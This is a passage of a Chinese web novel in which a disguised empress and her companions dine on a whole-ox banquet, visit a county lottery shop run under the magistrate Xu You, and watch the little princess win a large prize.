小公主迷迷糊糊,也不知道到底好不好吃,小二问什么就点头。 “行!加麻加辣,再来一杯冰沙,各位稍等!” 小二躬身走出去,蹑手蹑脚的将房门关上。 见他出去,蒙武身形一闪,挡在包间的门口,左右看了看,确认没人这才回来。 “陛下,可要动手?” 秦曦捏起桌上茶杯,若不是小二那番解释,她现在已经下令,诛杀许攸,大赦青尧。 如今再听到蒙武的话,她倒是不着急,而是抬头看向了李牧。 “李相,你如何看待此事?” 李牧幽幽叹息,耕牛的事情虽然过了,可还有一事,在他心头,成了一根刺。 再听秦曦这么问,他内心猛颤,又不能不回答。 “陛下,耕牛事情可以作罢,但许攸私通外族,此事怕无法作罢!” 秦曦脸上怒气消散,此事她也不懂,许攸居然如此大的胆子。 牛羊可以可以买卖,其他东西也可以。以青尧县的特殊地位,以及周围的环境,秦曦都不怀疑,许攸在贩卖兵甲。 “李相,此地属于荆州,荆州知州乃康王的人,你说他会不会勾结康王,意图谋反?” 李牧嘴角抽动,康王早就没权利,每日不是沉迷歌姬,就是忙着写诗作画,根本不可能搭理这件事。 至于青尧县的事情,他敢打包票,整个青尧县怕是所有动静,康王都不知晓。 不过康王手下确实有三支兵卒,加起来一万左右,这些兵甲武器一旦流出,可会成为屠戮大唐百姓的凶器。 “陛下,臣以为此事得细查,若是康王营中兵甲失踪,且去向不明,那么必定要追究其责任。” “青尧县即便是以兵甲换粮食,也无法支撑城池建设,他们肯定还有其他手段,这许攸……不是一般人!” 李牧第一次下达如此郑重的评价。 满朝文武,也未曾有人入他的眼,就连秦曦在李牧口中,也只是个明主,并未能成为贤君。 秦曦左手食指关节轻扣桌面,这是她考虑事情的时候小习惯。 “既然如此,那我们再多留几日,到时候挑个黄道吉日,送这个奸贼,去黄泉路!” 至此几人不再继续讨论,转头开始默默品茶。 很快包厢房门被敲开,小二带着几名侍女走进来,开始准备宴席前的工作。 整整一个时辰,秦曦等人都饿的前胸贴后背,才看到全牛宴出现在他们面前。 “客官,这是水晶牛头,采用卤制的方式烹饪,还请客官动筷。” 一双象牙玉筷子送到秦曦手中,侍女半躬身弯腰下蹲,双手捧着水井牛头,很是恭敬模样。 哪怕在宫中享受过无数次,头一次在宫外遭遇如此的伺候,秦曦也是手足无措,直到侍女再三催促,这才小心翼翼夹了一筷子。 “小小姐,请享用。” 侍女们很有眼色,包间内四人,三大一小,几人都是先从秦曦开始,然后到小公主,最后才到李牧和蒙武。 等全牛全部上桌,秦曦等人更是瞪大双眼。 全牛宴采用十八种烹饪方式,包括煎炸烹烤卤等,烹饪完又用特殊手法,将全牛复原。 看着眼前的菜肴,几人都不知道如何下筷子。 “小二,你们这些菜的烹饪方式,都是自己琢磨出来的?” 秦曦吃着口中的牛肉,只感觉内心五味杂陈,同样的肉,放到宫中,只怕会糟蹋了这些美味。 “客官,这可不是我们琢磨,而是许大人琢磨。寻常人家可以随意使用,不过我等使用,就需要缴纳知识产权税。” 知识产权税? 又听到了个新名词的秦曦,眼底却露出了震惊的色彩。 这青尧县县令,怕不是钻到了钱眼中,各种名目的税务,那是变着法收取。 此獠,不得不除! 第十三章 女帝也想杀牛 “姐姐,月儿可以吃了吗?” 小公主眼巴巴,刚吃了一筷子的卤牛头,她肚子里馋虫全部被勾出。 牛头卤制之后晶莹透明,每一块都爽滑,只需要轻轻抿动嘴唇,就能将肉吮吸进入口腔。 如此美味再面前,小公主只能看,不敢先动筷子。 看着妹妹如此可爱,秦曦打算先忽略许攸,安心享受美食。 “月儿,你饿了就吃,不用顾忌姐姐,这里不是家中,想吃什么你就自己夹。” 其实根本不用小公主出手,每人身边都有个侍女,都不用他们自己本人动手,有人会把桌上的菜夹到盘子里。 招呼完小公主,秦曦又冲着李牧和蒙武招呼,示意两人动筷。 即便她这么说,她不动筷,也无人敢动。 见此,秦曦无奈,拿起筷子夹了一块不知道什么部位的肉,缓缓放到口中。 肉刚入口,她的那双凤眸,陡然瞪圆,满脸都是惊讶之色。 肉没有羊肉口感匀厚,却比羊肉更加细腻,辛辣之中带着丝丝酸甜,仔细看过去,肉居然拉成了丝线,隐约可以透过灯影。 如此特殊的美味,瞬间把秦曦味蕾征服。 “姐姐,好吃吗?” 秦曦脸上表情很精彩,身为大唐皇帝,每日饭食都是经过宫廷御厨精心烹饪,然比起这道菜,少了许多霸道。 辛辣味道在口腔爆炸,那股刺激感,让她俏脸不由浮现出两朵红云。 秦曦深吸一口气,口腔余味还在回荡,她眸子看向面前的盘子,里面还有两块不知道什么位置的肉,虽知道是牛肉,可她现在也顾不得这些。 和之前的辛辣酸甜不同,这块肉只有醇厚的肉味,那股肉味浓郁的直冲天灵盖。 不消片刻,秦曦吃遍了桌上的牛肉,每个部位都吃了一个,她的表情也在不停变化。 各种味道混合,在口腔内爆炸,劲道的牛肉和醇厚的肉味,以及酸甜辛辣不断交织,在她口腔内拉开一道美味盛宴的帷幕。 秦曦仔细回味,双眸紧闭,她已经被这些美味征服,等回到宫中,她…… 刚想到此,她打了个寒噤,一股寒意席卷全身。 “好一个青尧县县令,居然妄图蛊惑朕,让朕犯下大错!” 秦曦深吸一口气,压住心中贪念,爱怜的将目光落到旁边的小公主身上。 “月儿,你来尝尝。李管事、武大你们也尝尝。” 得到允许,李牧和蒙武内心也好奇,没想到这桌子美味,居然能征服当今圣上的味蕾。 两人好奇的拿起筷子,分别夹了一筷子。 肉块入口,两人的表情和秦曦开始没什么区别,辛辣刺激在味蕾炸开,那种口腔内突然爆裂的刺激感,让两人都打了个寒噤。 接下来他们更是一筷子接一筷子,如同没吃过肉一般。 倒是小公主斯文不少,眯起大大眼睛,小嘴微微上翘,满脸都是享受的小表情。 “姐姐,这个比家里做的好吃。” 秦曦满脸苦涩,宫中御厨在这些没事面前,那是真的什么都算不上。 也不知道这青尧县的县令,是怎么想到,能把牛肉做到这地步。 “你们退下,我们自己来即可。” “月儿,等我们回去,我和那许大人说说,将这法子给带回去,以后你就能继续吃到这美味。” “好!” 小公主第一次吃这种简单到极致,又充满刺激的美味,小脸上写满了渴望和认真。 一顿饭,几人可没把肉吃完,最后打包成两个食盒。 蒙武满头大汗,他吃的最多,此刻回味起来,也不由张开口,口中热气弥漫。 “小姐,若是可以换成其他肉,此法可推行!” 李牧也深以为然,只要不是牛肉,其他肉可以代替,那就是绝顶美味。 反倒是小公主看破表面,双手背在身后,一双小脚在地上踢着石子,蒙蒙大眼睛内,水雾弥漫。 “姐姐,那些美味定然不是普通人可以想出,月儿很好奇,这许大人到底有什么能耐,能够想出如此美味。” 这话让几人心神一滞,秦曦三人你看看我,我看看你,他们都把注意力放在美味上,全然忘记这美味可是许攸捣鼓出来的。 君子远庖厨,读书人对厨房都会有天然抵触,至少不会和许攸这般不误正事。 秦曦眉梢拧在一起,就连她都觉得不可思议,更让她惊讶的是,许攸不但精通庖厨,还在其他方面的能力。 要不是对方通敌叛国,是个祸 国殃民的存在,秦曦都生出了爱才之心。 “李管事,下午无事,我们便随便逛逛。” 秦曦打算好好研究下,看看青尧县到底有什么秘密,能够在短时间内,凝聚这么多的财富,以及将局面稳住。 李牧没反对,只要秦曦不下令诛杀许攸,那都可以解决。 西市逛的差不多,街道干净的如同水洗,李牧仔细观察后发现,街道每隔一段路,就会有两个巨大的铁盒。 他也很好奇,铁器在大唐都是稀罕物件,但在青尧县,似乎根本不缺。 铁盒周围有身穿麻衣的棍夫,这些棍夫统一衣着和服饰,专门负责清理街道。 虽有这些人清理,但街道上的一尘不染,也是出了李牧的预料。 “李管事,你可发现这些蛮族,居然会用草包着车,运送牲畜的车都有厚厚草垫。” 不仅是李牧发现异常,连秦曦也注意到,整个街道上没有半点垃圾,运送牲畜的车经常试过,也没留下半点垃圾。 人能控制,牲畜难道也能控制? 李牧神色凝沉,他已经猜到,这必然是长年累月积累,这才有了如此景象。 更奢靡的是,那些棍夫每隔五十米就有两人,如此庞大人力,所需要的开支必然不少。 青尧县百姓不愿意烧窑,却愿意当棍夫,这根本就是本末倒置。 想来只有一个可能,那就是这些棍夫每日所得钱财,比烧窑更多! 可是以青尧县,怎么来的这么多钱? 就在几人思索时候,远处传来铜锣声,整个街道瞬间躁动。 “开彩了!快!” “上一期没人中,上上期也没人中,这期我必然要中!” “大家都让让,我媳妇要生了!” 第十四章 活畜生许县令 秦曦等人满脸懵逼,铜锣声音就在几人身前不足五十米。 刚刚周围还没多少人,在铜锣声响起后,人流快速涌动,推着几人也朝前方走去。 很快几人就发现,眼前居然是个赌坊。 说赌坊也不对,上面写着彩票销售处,而门口还有一副鲜红的告示。 “小赌怡情,大赌伤身,每人限定三张,私自交易彩票,乃大罪!” 彩票? 秦曦柳眉上挑,看了眼身后越来越多的人群,眼眸中的疑惑更加浓郁。 “我等也去看看!” 有她发话,蒙武身强体壮,蒲扇般大手伸出,很快便分开一条小路,护送秦曦三人进入到店铺中。 店铺内有条长廊,长廊后是十二条长桌,桌后有人正在整理一沓沓巴掌大小纸张。 此刻每个长桌前,都汇聚了七八个人,这些人有汉人,有胡人,有蛮族,甚至秦曦还看到了几个金发碧眼的存在。 每人都紧张的看着长桌后人,很快他们便得到了自己想要的。 “哈哈!中了!我刚中了一百两银子!” 距离秦曦最近的一名金发碧眼男人,正拿着张巴掌大的纸片,兴奋的在原地高呼。 听到他的话,周围顿时露出一片羡慕,以及人流更快涌动。 秦曦发现,金发碧眼买的,和先前那些人不同。先前的那些人买的彩票上有很多数字,一张上面有五排,每排七个数字,其中两个被标红,其他都是黑色字体。 哪怕是远远看去,秦曦也能感觉都到,眼前的纸张不一般,堪比朝廷发布的银票。 “难道青尧县破解了银票的防伪,能够仿制银票?” 想到这里,秦曦的心猛地悬起,朝廷的银票是个赌局,以大唐命运为赌注。 若是被人破解了防伪,那必然会霍乱天下。 就在她担忧银票防伪,人群中却爆发出一阵哭嚎。 “不可能!我买了十五张,怎么会都不中!” 一个身穿麻衣,浑身散发着酒味的汉子,从人群中窜出,那张脸煞白,手里还攥着一把被他攥成团的彩票。 “为什么!为什么我中不了!” “我老婆都卖了,凭什么不能给我中,我肯定中了一等奖!你们骗我,骗我!” 汉子声音沙哑撕裂,手中的彩票全部被扬起,那声嘶力竭的模样,让秦曦等人都露出了愤慨神色。 秦曦也反应过来,这就是赌坊,不过是换了个名义。 难怪青尧县有如此财富,全都是民脂民膏。 “快说,我是不是中了一等奖!” 汉子噌的一下,从怀里掏出一把刀,狠狠拍在柜台上。 面对他的威胁,柜台后的售票店员,没有半点惊讶,反而淡定的劝说。 “所有彩票每人限购三张,一张一百文,七日开彩一次。” “排列彩,当日开奖,奖池是所售彩票总金额的二分之一,若是没开出头奖,便会叠加,累计到下一次开奖。” “你买了十五张彩票,请问是从何而来?” 店员冷笑一声,抬手按动桌上的铜铃。 叮铃铃。 不到十个呼吸,十几名身强体壮的差役,出现在店铺之中。 “许大人有令,任何人都只能限购三张,私下购买彩票者,无论是买入还是卖出,都以盗窃青尧县资源为罪名,处以极刑!” “现在给你最后一次机会,说出彩票来历,否则永远逐出青尧,整个西北容不下你!” 轰隆隆! 店员冷冽话语,带着不容置疑的威势。 周围购买彩票的众人,看向那汉子,也露出了讥讽和鄙夷的表情。 彩票开彩这么久,总有好逸恶劳,想要自作聪明的笨蛋,原本就是个娱乐方式,偏偏给这些混蛋给祸祸了。 那汉子看到十几名差役,又听到店员说要被逐出城,不但没有害怕,反而更加疯狂。 “我不管,这些彩票上有许大人的印签,那就代表是真的!” “今日你们要么给我兑奖,要么就承认你们有黑幕,故意不给我中!” 店员也怒了,俊俏的脸颊上,浮现出冰冷的寒意。 “看你这样子,也不是第一次买彩票!刮刮乐是即开即中,中多少全凭运气,能否中,也都是看运气。” “许大人本意就是给我们个娱乐,中了则多加点好菜,多添几件衣服,不中也就图个乐!” 说到此,那店员的眼神愈发冰冷,一道幽光扫视台前众人。 “尔等买彩票,无论是什么彩票,中不中都是靠着运气,否则也不会有人中五十万两,有人买三年没中过一次。” “我们青尧县是什么地方,区区三百文,你们扪心自问,缺这点吗?” “许大人,他会看得上这点?” “此乃许大人亲自监管,何人敢闹事,何人敢质疑!” 此话落下,差役们手中铁链哗哗作响。 秦曦凤眸瞪大,她俏脸上浮现出不敢置信,这赌坊居然是许攸开的! 脑海中的疑惑在这一刻,全部化作烟云彻底消散,她终于明白,许攸如何有这么多的钱。 大唐律法明文规定,官商不得勾结,官吏无论大小,不得经商,凡是触犯红线,都会被剥夺官名功身,三世之内不得有任何人再考取功名。 如今青尧县内,县令亲自开设赌坊,此乃祸 国殃民,天理难容! 秦曦捏紧手指,胸腔压抑的愤怒,再次暴涨。 私通外族,通敌叛国,搜刮民脂民膏,吸百姓血,啖百姓肉,乃大唐最大蛀虫! 此贼不杀,不平她心中怒火。 李牧也看到了这一幕,脸色难看到极致,一张老脸冷的仿佛腊月寒冬的冰面。 眼看秦曦要暴露,李牧深吸一口气,暗暗拉了下她的衣袖。 此地既然是许攸的地盘,那必然不能乱来,否则不等他们暴露,就会被乱刀砍死。 “许大人曾言,彩票中头奖的概率,是二十万份之一,当日发行彩票数量为六十万张,中奖概率更小!” “三百文钱不过是一日的工钱,许大人心善,给各位一条发家的路子,可不是让你们妄想!” “若是张张都中奖,那我们这些人,岂不是都要去挖煤修路?” 周围百姓也在此时,纷纷开始出言维护,这让刚准备动手的秦曦,再次不得不压住怒火。 秦曦皱起柳眉,百思不得其解,她很怀疑,这些百姓是不是被洗脑,才会有如此愚昧想法! 第十五章 不赚钱还得倒贴 那汉子的额头冒出细密汗珠,此刻他不敢开口,也不敢继续发狂。 见此,买彩票的长龙,直接忽略了他,继续开始购买。 “哈哈!我中了!” “一万两,真的中了一万两!” 一万两! 一名身穿麻衣的棍夫,突然举起手中彩票,激动的在人群中大吼。 “我买了三年,第一次中!一万两!” 这话就犹如在油锅内滴入水滴,场中人群瞬间炸开。 所有人都露出了贪婪的光彩,而后这些贪婪消失不见,转而变成了羡慕,嫉妒,以及恨! 店员也是一愣,看到那人手中的刮刮乐,急忙伸头拍拍桌上铃铛。 “给我看看,彩票要是没问题,可现在就兑奖。” 棍夫穿过人群,将手里彩票递上去,他的身形不停发抖,显然是紧张和激动到了极点。 店员分辨再三,又喊来管事,再三确认之后,快速从店铺内,取出一沓银票。 管事更是直接走出,手中拿着大红花,将红花别在棍夫胸口。 “恭喜!恭喜!” “我们208号彩票销售站,喜出一位刮刮乐头奖,恭喜这位大哥!” “这是一万两兑票,可在青尧县内任何钱庄兑换。” “请问你有什么感想?” 一张大大的字报,出现在门口,门口外铜锣敲得震天响。 管事将一万两白银兑票,亲手交道棍夫手里,靠近的人也能看清,总共有十张,每张都是千两,一分不差。 棍夫何时有这么多钱,捧着手里的兑票,双眼赤红。 “感谢许大人,若不是许大人赏一口饭吃,我也没有这么多闲钱,我愿意捐五千两帮助我们县城建设!” “好好好,大哥大义,若不是许大人,我们就没今天,我要是中了,我也捐!” 周围人彻底沸腾,一个个如同疯魔。 “快给我来三张排列彩!” “我运气不行,我就刮刮乐,给我来三张刮刮乐!” “我也要,图个乐,要是能中,我就买几打黄纸去城隍庙,给许大人烧点。” 一时间,没人去在意之前那汉子,所有人都开始激动,手中拿着钱,恨不得立刻就中。 汉子人傻了,他呆呆的站在原地,看着差役围过来,脸上是懊悔。 自彩票开票到现在,总共出过十三起私下买卖彩票的案子,十三起主谋和从犯,全部被逐出青尧,整个西北都没人欢迎,店家知道他们是被逐出的,都直接不做他们生意。 哪怕是去青楼,那些姑娘一听到他们的名字,也直接闭门谢客,无论他们给的钱再多,都没任何作用。 “不!你们都是骗子,都是骗子!” 可惜他的嘶吼声,并没有任何作用,管事庆贺完,冷漠的斜瞥一眼。 “按照律法行事,昭告全部商盟,此人及卖他彩票的,全部逐出青尧县,永世不得进入!” 两名差役走出,一左一右架住汉子,将他给拖了出去。 直到这时候,汉子才感觉到恐惧。 青尧县势力又多大,旁人不清楚,青尧县百姓最为清楚。 不仅是荆州,整个西北连同塞外,一旦被青尧县拉黑,那就永远不得翻身。 “你们这是目无法纪,我要去告御状!” 秦曦等人心头一颤,果然青尧县目无法纪,已经到了无法无天的地步。 左边差役闻声冷哼。 “去吧!即便去了京城,那狗皇帝也无法威慑许大人!” “若不是许大人,只怕五年前,你就饿死,你若是有那胆子,那你就去!” 此话一出,众多百姓也露出了冰冷目光,看向汉子不停舔动嘴角。 “差役大哥,要是天黑有人摔坑里,不小心溺死了,那算是什么罪?” 差役瞥向说话的人。 “若无人证,挖坑的人有过失罪,按照律法,需要去挖煤三月,随后学习律法一月,合格后方能释放。” “若有人证,那是过失至人死亡,监禁三年,罚银五百,同时要取得受害者家属谅解,否则再加两年监禁。” 汉子更加慌了,青尧县百姓天性彪悍,谁给他们吃,谁给他们穿,这点他们还分得清。 真要是半路摔死,他怕是自己亲娘都不会出来认领。 可无论他如何哀求,他的行为触犯了律法,这在青尧县,是最不能饶恕的事情。 面前的事情不断落在秦曦眼中。 蒙武浑身煞气萦绕,在听到“狗皇帝”三个字时,心中杀意已经冲天。 “小姐,让我去吧!” 他就犹如一头饿狼,双目死死盯着前方,只要秦曦下令,接下来他会让这青尧县彻底翻天! 秦曦深吸了口气,没有点头,反而是往前走了一步。 她正准备开口,说掀他个天翻地覆,斩了许攸的狗头,却看到眼前视野中,出现个大大笑脸。 “小姐,可是第一次来我们彩票店?” “要不要来几张,孩子不可以买,你们三个成年人,每人三张,可以买九张!” 秦曦瞬间哑口,她酝酿的怒火,被这句话全堵了回去。 好在李牧聪明,斜跨一步上前,挡在了管事和秦曦的中间,将两人隔开。 “管事,适才你们说头奖有二分之一奖池,那剩余二分之一呢?” 李牧倒不是傻,只是没想明白,他说完,就看到管事一脸的怪异。 管事满脸无语,他要不是看眼前几人衣着华贵,根本不会搭理,结果眼前这人,就是个傻子。 “剩余的五成,四成是小奖,一成是维护彩票开支,所得除了规定税收之外,并无其他收益,反而是奖池积累,我们才是头疼。” “几位,小赌怡情,许大人的意思,就是大家图个乐,赚了是运气,不赚就当支持县城建设。” 秦曦愣在原地,适才她也没思考清楚,只以为大将才有返奖,可按照现在这么说,真就除了税,就只有一成是所得。 这所得还是要分制作以及售卖的人工,利益更是十不存一。 若是正常赌坊,巴不得能留下五成,怎么会这么“善”? “管事,即便是一成,那也不少了吧?” 李牧再次追问,可这话说出后,那管事的一脸焦躁,口中更是骂骂咧咧。 “一成有个屁的赚头,店铺场地伙计,还有这彩票宣发制作,哪个不要钱?” “这些都是玩物,咱们许大人另外的产业,才是真正赚钱!” “我也是倒了血霉,居然被选派到这里!三月没领过工钱,不仅如此,我还得倒贴钱!” 第十六章 女帝也买彩票 “管事,这话从何说起?” 秦曦压抑着怒气,已然被气笑。 所谓上梁不正下梁歪,无外乎就是这个道理。 这彩票虽七日开一次,可六十万张彩票,每张一百文,加起来就是天文数字。 如此巨额财富,眼前的管事居然说没月钱,还抱怨自己要倒贴钱。 她倒要看看,这钱怎么倒贴! 管事口中叫苦,脸上却充满得意。 “这位小姐你可不知道,咱们这彩票可不是一般的行当,至于我们这些人,也都是吃公家饭。” “话说几位不会是那狗皇帝派来的吧?” 说话间,管事突然露出狐疑的目光。 不过是片刻,他又嗤笑一声。 “看几位衣着华贵,定然不是我们荆州人士,许大人推行彩票,那也是迫不得已。” “荆州属于康王属地,自然要交税,可百姓地里刨食,一年到头就那么点钱,让他们交税,不说百姓愿不愿意,许大人也不乐意。” “故此许大人就想了个招,朝廷有七税,每家每户都需要十两纹银,许大人干脆就立了个彩票,所得剩余全部用来交税。” “至于剩下的,则是充当保障金。” 保障金? 秦曦还是第一次听说这名词。 她发现自从进入青尧县,她所用所学,都似乎没了用武之地,这青尧县诡异的让她也看不透。 李牧也皱起眉,执宰五十年,他也是头一次听说,有官员不贪,还设立什么彩票,以此来帮百姓交税。 几人表情各异,唯有蒙武眼底杀气弥漫。 蒙家世代忠贞,乍一听眼前管事,居然敢对圣上不敬,左手握住横刀,就要动手。 “管事,我等是京城来的客商,你如此言语,就不怕我们上报圣听?” 秦曦戏谑的抱起手,她倒要看看,这青尧县是不是人人都如此胆大妄为。 岂料这话一出,管事脸上的不屑更加浓郁。 “上报那又能如何?老皇帝不管我们死活,新的皇帝也不管,我们在这西北每日一捧观音土,一捧杨树皮的时候,他们在什么地方?” “要打仗,还不是我们这些百姓?那什么劳子蒙大将军,也是笑死人!西征漠北,是我们十万荆州百姓勒紧裤腰带帮他打的。” “可结果呢?” “以我所见,还不如许大人贪点。” 说到这里,管事眼眶逐渐红润,周遭喧闹声,也逐渐停下。 回想起五年前的时光,在场百姓无一不感慨万分。 那是最黑暗的时光,他们以为自己勒紧裤腰带,咬咬牙帮朝廷打胜仗,再不济也能换个容身之所。 可最后朝廷安排康王到此,荆州还是那个荆州,苦的可是他们这十多万百姓。 “几位,你们买不买彩票,不买的话那就让让,还有一炷香就要开彩,可不要耽误了。” 秦曦脸上笑容早已消失,她在朝堂之中,完全不知道此事。 而此刻的蒙武,满脸煞白,身形不停抖动。 看到他这惶恐无措的模样,秦曦深深吸了口气,强扯出笑容。 “买,我们三个成年人,可以买九张,就让舍妹来选,可否?” 管事也不拒绝,擦擦眼角泪花,再次变化出笑脸。 “让几位笑话了,咱们好日子来之不易,我这就给小小姐选。” 说罢,他起身朝着柜台走去,很快拿出一打没刮开的彩票,送到小公主面前。 小公主看着眼前花花绿绿的彩纸,垫着脚认真选了九张,心满意足的拿起,往秦曦等人身边跑去。 “姐姐,姐姐给你!” 秦曦三人一人分了一张,其他六张全部被小公主自己揣着。 彩票上也有涂层,不刮开之前,谁也不知道里面排列的数字。 三人收敛了心中情绪,纷纷低头看向手里巴掌大的彩纸。 “小姐,这纸怕是不一般!” 李牧见多识广,当年推行银票就是他在背后推动,银票所用特殊纸张和防伪印记,也是他自己设计。 他低头细细摩挲,手指的彩纸看似普通,实则比银票的防伪技艺还要高超。 尤其是开彩区域,用特殊材料形成涂层,只要手指轻轻一划,就能看到涂层下面的字迹。 此刻李牧手里的彩票被彻底刮开,上面有三行数字,每行七个,字体娟秀,却很清晰。 “管事,这中不中奖,我如何得知?” 拿着彩票,李牧慢悠悠开口。 管事指着前方不远处的清香,随口笑着解释。 “几位稍安勿躁,香燃尽,届时许大人会在县办事厅亲自抽取,我等这边也会同步告知。” 一炷香的时间,说快也快,说慢也慢。 秦曦走出彩票站点,来到对面茶楼,找了个清净的角落坐下。 她刚坐下,就看到蒙武脸色煞白,躬身要跪。 “无妨,此事结束,我自会查明!” 秦曦眼底闪烁着冷光,她从未知晓荆州事情,也不知道这里有十多万百姓,因为帮朝廷打胜仗,几乎要死绝。 若不是爱到骨子里,这次青尧县百姓怎么会反? 此时的她,恨的不是青尧县百姓,而是那个领头的人! 许攸! 蒙武张张嘴,口中话语到了嘴边,又被他咽了回去。 李牧在旁边没说话,自顾自倒了一杯茶,一直盯着手里的彩票。 就这样,一桌子除了小公主之外,三人都各怀心事,谁也没再次开口。 也不知道过去多久,对门的铜锣响起。 “第一个数,18!第二个数字,13……” 李牧看了眼手里的材料,老脸皱在一起,要说他运气不好,那也不见得。 彩票抽中的七个数,他七个全对上,不过位置错了。 “哟,几位也在这?几位可中了?” 李牧将手里彩票举起,无语的叹了口气。 “命里无是终是无!” “哈哈,老丈可不要动气,这彩票看运气,今日你能买对全部数字,那也是运气,只可惜这位置不对。” 李牧倒是洒脱,并未计较这些,反而好奇的盯着秦曦和蒙武的。 两人手里彩票,比他还离谱,就没一个数字对的。 看到这情况,李牧那张老脸露出开怀笑容。 就在这时候,旁边突然传来怯怯的声音。 “姐姐,我……我好像中奖了,好像是二等奖。” 此话一出,整个茶楼一片死寂。 第十七章 一张纸价值二十万 秦曦飞速拿过那张彩纸,贴在面前仔细查看。 果然上面的数字,和公布的数字,只差了一个,而且位置几乎一模一样。 按照彩票的规则,这就是二等奖。 管事本来就是报信,谁知道真有人中二等奖,眼睛也瞪圆,如同个牛眼。 “我的老天爷,可真的是二等奖,这位小小姐运气极好!” 所有人的目光,都落在了秦曦手里。 如今可是积累了三期奖池,二等奖可是个天文数字。 “管事,这二等奖是多少奖金?” 李牧也咽了口吐沫,饶是见多识广的他,此刻也心底泛起热浪,浑身不自觉抽动。 管事低头仔细盘算了下,随后深吸一口气,露出震撼的神色。 “几位,说来你们可能不信,这位小小姐随手这么一选,中了二十万两!” 哐当! 李牧一个没坐稳,直接从地上滑了下去。 大唐如今也算是强盛,每年国库税收在五百万两纹银,这次他们出来,也就带了十万两。 可谁想到,小公主随便选了几张,就中了二十万! 这怕是比一州一年的税赋,都要高! 茶楼经过短暂死寂,也彻底爆炸,犹如菜市场般。 “福星!这是福星!” “别说二等奖,我买了三年,五等奖都没中过一次!” “恭喜恭喜,这位小小姐可当真是福星!” 管事此刻也板正脸色,就在众人道贺的间隙,他不但唤来了差役,还让人取来一套工具。 “几位,麻烦将彩票交于我,这两位是县衙差役,可当做公证人。” “这里是公证文书,若是几位觉得没问题,我这就开始核验!” 秦曦还仿佛在梦中,机械的将手里彩票递出。 一张巴掌大的纸,从之前一百文,瞬间暴涨到了二十万。 她这是明白,为什么会有人铤而走险,明知道要被万人唾弃,也要做这种掉脑袋的勾当。 管事没言语,低头在文书上签了字,又按了印章后,这才小心翼翼的检查。 不过几息时间,他那张脸上,露出恭维的笑容。 “恭喜诸位,彩票真实有效,乃是彩票站点所发,几位并无违法行为,可即刻兑奖。” “几位稍等,我将差人把此票送与办事厅,马上就给几位兑奖。” 秦曦还以为兑奖流程很复杂,结果管事见她衣着不凡,估计不会参与那颁奖噱头,干脆直接把彩票送去入库校验,自己则是带人取出一沓兑票。 厚厚的兑票取出,被管事一张张放到桌案上,每一张上面都是一万两的字样。 “十七,十八,十……咦?” 小公主正兴冲冲的数着,突然看到管事收回去两张,萌萌的小脸上,浮现出一团水雾。 “姐姐,为何不是二十,只有十八?” 秦曦眼底也浮现出一丝怒意,不过她却没表露,而是淡淡的伸出手,将小公主拉回。 “管事,这是何意?” “这位小姐,适才是我忘记了,你等是第一次来,按照我们青尧县的规矩,彩票凡是中奖金额超过一万两,都需要缴纳一成意外所得税。” 为了证明自己的说辞,管事将身边的一本书册递到秦曦面前。 《青尧彩票推行法案》! 秦曦和李牧对视一眼,眼底同时浮现出错愕。 小小的青尧县,居然还有法案! 要知道法案可不是随便就能撰写,需要名家大儒历时多年,还要走访游历,才能编撰成法案,最后推行成律法。 谁能想到青尧县内,居然也有如此大儒存在! 法案打开,里面开头引言,就没让秦曦绷住。 所谓的大儒,居然是那狗官许攸,此人居然大言不惭的说是为国为民,还列出彩票推行及适用办法若干。 秦曦眉头狂跳,本意外得到一大笔钱财的喜悦,在这部法案面前,被冲的瞬间烟消云散。 “多谢管事,这两万两是我等一番心意,权当支持青尧县建设。” 有之前那人的遭遇,秦曦也不吝啬,拿出两万两放进管事手里,随后将其余银票全部拿起,一把抱上小公主,悠悠然朝外走去。 几人走出茶馆许久,街道两侧的喧嚣和热闹依旧没停止,依稀还能听到他们中彩票的传闻。 一直走出这条街道,李牧才缓缓开口。 “陛下,此人心思缜密,手段也奇特!” 李牧开始也反对这种行为,不过现在他口中倒是没半点厌恶,反而深深的感慨。 “此法看似过激,实则是给每个人行善的机会。” “百文对许多大唐百姓而言,是三日的饭食,可对青尧县百姓而言,不过是半日的工钱。” “如今花上几个钱,不但能体会到赌徒的快乐,也能帮助县城建设,乃一举多得的良策。” “可惜!可惜!” 李牧连连摇头,可惜什么,他不用说出来,懂得人也都懂。 彩票可以在青尧县推行,但无法在大唐推行,一来大唐刚建国十五年,根基脆弱,二来没有这么多的钱,以及如此高效的行政效率。 从彩票监管到兑换,都需要完备的体系,甚至还有专门法案,若是推广出去,大唐每年税收至少翻倍,可同样问题也得翻十倍。 秦曦脸色很不好看,她是女子,女子称帝自古便很少有,为了能配得上这帝位,她躬身践行,为的就是让大唐百姓过的更好。 如今连三朝元老,她亲舅舅都对许攸如此作态,她怎么能不怒? “舅舅,你说的很对,但也不对!” “陛下此言为何?” “很简单,那狗官为何要设立彩票,为何会弄出这些,以我所见,不过是为了敛财!” 秦曦嘴角勾起冰冷讥诮。 “凡是中大奖,都要交税,而这税从未到朝廷一分,那么如何用,就是他这个县令说了算!” “你可忘记,适才那管事亲口所言,朕这个皇帝,可没他口中的许大人好,还直言许大人贪的好!” “这番作态,不过是他许攸故意掩人耳目,为自己敛财而设立的遮羞布,故意蒙骗这青尧县百姓而已!” 李牧眼眸瞪大,昏黄的老眼中,陡然绽放出不敢置信的神色。 难道他真的看错了? 就在这时候,一道悲恸的哭声,打断了几人的谈话。 第十八章 你也要献爱心吗 “都让让!前面的都让让!” “长乐坊专用车,都让开,撞到不负责!” 马车疾驰,刚还人满为患的街道,在听到铜锣和嘶哑的吼声后,下意识挪开一条道路。 秦曦几人眉头紧皱。 一辆马车呼啸而过,车上有两个壮汉,分别拿着铜锣,以及个特殊的器具,正在不停大喊。 马车后方插了个小旗,上书“长乐坊专用”! “快都让开,长乐坊救护车,还不快点让开!” “耽误了救命,许大人不扒了你们的皮!” 街头巷尾惊呼声不断,人流很默契的散开,哪怕是那些外族人,也都纷纷让开,没有一个敢挡路。 秦曦几人眉头紧皱,长乐坊是什么地方,他们完全不知道,但这人流攒动的街道,马车居然如此肆无忌惮,还敢强迫人流让路,这简直就是不把人命当回事。 在秦曦的示意下,蒙武拽过一名路人,开口问了句。 那路人听到蒙武的问话,一脸看傻子的表情盯着他。 “你们外乡的?救护车不知道?” “你爹妈要死的时候,我希望你也堵住救护车,真晦气!” 那路人看也不看几人,满是晦气挥挥手,仿佛几人就是那茅坑的石头。 几人还是不懂,但也能隐约猜到,这马车是为了救人,否则也不会如此作态。 可即便如此,大街上纵马,万一伤到人怎么办? 马车停下的位置,距离几人不远,也就七八百米的位置。 